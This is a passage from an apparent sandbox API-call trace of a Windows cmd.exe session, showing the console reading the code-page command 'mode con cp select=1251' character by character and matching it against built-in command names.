nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x1ff5f8, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ff5f8*=0x2, lpOverlapped=0x0) returned 1 [0033.979] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x49fef360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0033.979] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x49ffc0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0033.979] _vsnwprintf (in: _Buffer=0x49feeb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x1ff638 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0033.979] _vsnwprintf (in: _Buffer=0x49feebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x1ff638 | out: _Buffer=">") returned 1 [0033.979] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.979] GetFileType (hFile=0xf4) returned 0x3 [0033.979] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.979] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0033.979] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x1ff628, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ff628*=0x26, lpOverlapped=0x0) returned 1 [0033.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.979] GetFileType (hFile=0xe8) returned 0x3 [0033.979] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.979] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.979] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.979] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe320, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0033.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe322, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0033.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.980] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe324, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0033.980] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.980] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.980] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe326, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe328, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe32a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe32c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe32e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe330, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.981] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.981] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.981] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe332, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0033.981] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.982] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe334, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0033.982] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.982] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe336, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0033.982] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.982] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe338, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0033.982] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.982] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe33a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.982] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.982] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe33c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0033.982] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.982] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.982] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe33e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0033.982] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.982] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe340, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0033.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe342, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0033.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe344, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0033.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe346, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0033.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe348, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0033.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.983] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe34a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0033.983] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.983] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.983] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe34c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0033.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.984] ReadFile (in: hFile=0xe8, lpBuffer=0x49ffc320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x1ff928, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesRead=0x1ff928*=0x1, lpOverlapped=0x0) returned 1 [0033.984] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x49ffc320, cbMultiByte=1, lpWideCharStr=0x49ffe34e, cchWideChar=1 | out: lpWideCharStr="\n") returned 1 [0033.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.984] GetFileType (hFile=0xe8) returned 0x3 [0033.984] _get_osfhandle (_FileHandle=0) returned 0xe8 [0033.984] SetFilePointer (in: hFile=0xe8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0033.984] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.984] GetFileType (hFile=0xf4) returned 0x3 [0033.984] _get_osfhandle (_FileHandle=1) returned 0xf4 [0033.984] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="mode con cp select=1251\n", cchWideChar=-1, lpMultiByteStr=0x49ffc320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mode con cp select=1251\n", lpUsedDefaultChar=0x0) returned 25 [0033.984] WriteFile (in: hFile=0xf4, lpBuffer=0x49ffc320*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x1ff908, lpOverlapped=0x0 | out: lpBuffer=0x49ffc320*, lpNumberOfBytesWritten=0x1ff908*=0x18, lpOverlapped=0x0) returned 1 [0033.985] GetProcessHeap () returned 0x310000 [0033.985] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x4012) returned 0x32cd20 [0033.985] GetProcessHeap () returned 0x310000 [0033.985] HeapFree (in: hHeap=0x310000, dwFlags=0x0, lpMem=0x32cd20 | out: hHeap=0x310000) returned 1 [0033.985] _wcsicmp (_String1="mode", _String2=")") returned 68 [0033.985] _wcsicmp (_String1="FOR", _String2="mode") returned -7 [0033.985] _wcsicmp (_String1="FOR/?", _String2="mode") returned -7 [0033.985] _wcsicmp (_String1="IF", _String2="mode") returned -4 [0033.985] _wcsicmp (_String1="IF/?", _String2="mode") returned -4 [0033.985] _wcsicmp (_String1="REM", _String2="mode") returned 5 [0033.985] _wcsicmp (_String1="REM/?", _String2="mode") returned 5 [0033.985] GetProcessHeap () returned 0x310000 [0033.985] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0xb0) returned 0x3297e0 [0033.985] GetProcessHeap () returned 0x310000 [0033.985] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x1a) returned 0x324610 [0033.986] GetProcessHeap () returned 0x310000 [0033.986] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x38) returned 0x326510 [0033.986] GetConsoleOutputCP () returned 0x1b5 [0033.987] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x49ffbfe0 | out: lpCPInfo=0x49ffbfe0) returned 1 [0033.987] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0033.987] GetConsoleTitleW (in: lpConsoleTitle=0x1ff8c0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0033.987] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0033.987] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0033.987] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0033.987] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0033.987] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0033.987] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0033.987] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0033.987] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0033.987] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0033.987] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0033.987] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0033.987] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0033.987] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0033.987] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0033.987] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0033.988] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0033.988] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0033.988] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0033.988] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0033.988] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0033.988] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0033.988] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0033.988] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0033.988] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0033.988] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0033.988] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0033.988] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0033.988] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0033.988] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0033.988] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0033.988] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0033.988] _wcsicmp (_String1="mode", _String2="START") returned -6 [0033.988] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0033.988] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0033.988] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0033.988] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0033.988] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0033.988] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0033.988] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0033.988] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0033.988] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0033.988] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0033.988] _wcsicmp (_String1="mode", _String2="DIR") returned 9 [0033.988] _wcsicmp (_String1="mode", _String2="ERASE") returned 8 [0033.988] _wcsicmp (_String1="mode", _String2="DEL") returned 9 [0033.988] _wcsicmp (_String1="mode", _String2="TYPE") returned -7 [0033.988] _wcsicmp (_String1="mode", _String2="COPY") returned 10 [0033.988] _wcsicmp (_String1="mode", _String2="CD") returned 10 [0033.988] _wcsicmp (_String1="mode", _String2="CHDIR") returned 10 [0033.988] _wcsicmp (_String1="mode", _String2="RENAME") returned -5 [0033.989] _wcsicmp (_String1="mode", _String2="REN") returned -5 [0033.989] _wcsicmp (_String1="mode", _String2="ECHO") returned 8 [0033.989] _wcsicmp (_String1="mode", _String2="SET") returned -6 [0033.989] _wcsicmp (_String1="mode", _String2="PAUSE") returned -3 [0033.989] _wcsicmp (_String1="mode", _String2="DATE") returned 9 [0033.989] _wcsicmp (_String1="mode", _String2="TIME") returned -7 [0033.989] _wcsicmp (_String1="mode", _String2="PROMPT") returned -3 [0033.989] _wcsicmp (_String1="mode", _String2="MD") returned 11 [0033.989] _wcsicmp (_String1="mode", _String2="MKDIR") returned 4 [0033.989] _wcsicmp (_String1="mode", _String2="RD") returned -5 [0033.989] _wcsicmp (_String1="mode", _String2="RMDIR") returned -5 [0033.989] _wcsicmp (_String1="mode", _String2="PATH") returned -3 [0033.989] _wcsicmp (_String1="mode", _String2="GOTO") returned 6 [0033.989] _wcsicmp (_String1="mode", _String2="SHIFT") returned -6 [0033.989] _wcsicmp (_String1="mode", _String2="CLS") returned 10 [0033.989] _wcsicmp (_String1="mode", _String2="CALL") returned 10 [0033.989] _wcsicmp (_String1="mode", _String2="VERIFY") returned -9 [0033.989] _wcsicmp (_String1="mode", _String2="VER") returned -9 [0033.989] _wcsicmp (_String1="mode", _String2="VOL") returned -9 [0033.989] _wcsicmp (_String1="mode", _String2="EXIT") returned 8 [0033.989] _wcsicmp (_String1="mode", _String2="SETLOCAL") returned -6 [0033.989] _wcsicmp (_String1="mode", _String2="ENDLOCAL") returned 8 [0033.989] _wcsicmp (_String1="mode", _String2="TITLE") returned -7 [0033.989] _wcsicmp (_String1="mode", _String2="START") returned -6 [0033.989] _wcsicmp (_String1="mode", _String2="DPATH") returned 9 [0033.989] _wcsicmp (_String1="mode", _String2="KEYS") returned 2 [0033.989] _wcsicmp (_String1="mode", _String2="MOVE") returned -18 [0033.989] _wcsicmp (_String1="mode", _String2="PUSHD") returned -3 [0033.989] _wcsicmp (_String1="mode", _String2="POPD") returned -3 [0033.989] _wcsicmp (_String1="mode", _String2="ASSOC") returned 12 [0033.989] _wcsicmp (_String1="mode", _String2="FTYPE") returned 7 [0033.989] _wcsicmp (_String1="mode", _String2="BREAK") returned 11 [0033.989] _wcsicmp (_String1="mode", _String2="COLOR") returned 10 [0033.989] _wcsicmp (_String1="mode", _String2="MKLINK") returned 4 [0033.989] _wcsicmp (_String1="mode", _String2="FOR") returned 7 [0033.990] _wcsicmp (_String1="mode", _String2="IF") returned 4 [0033.990] _wcsicmp (_String1="mode", _String2="REM") returned -5 [0033.990] GetProcessHeap () returned 0x310000 [0033.990] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x218) returned 0x311ab0 [0033.990] GetProcessHeap () returned 0x310000 [0033.990] RtlAllocateHeap (HeapHandle=0x310000, Flags=0x8, Size=0x42) returned 0x3298a0 [0033.990] _wcsnicmp (_String1="mode", 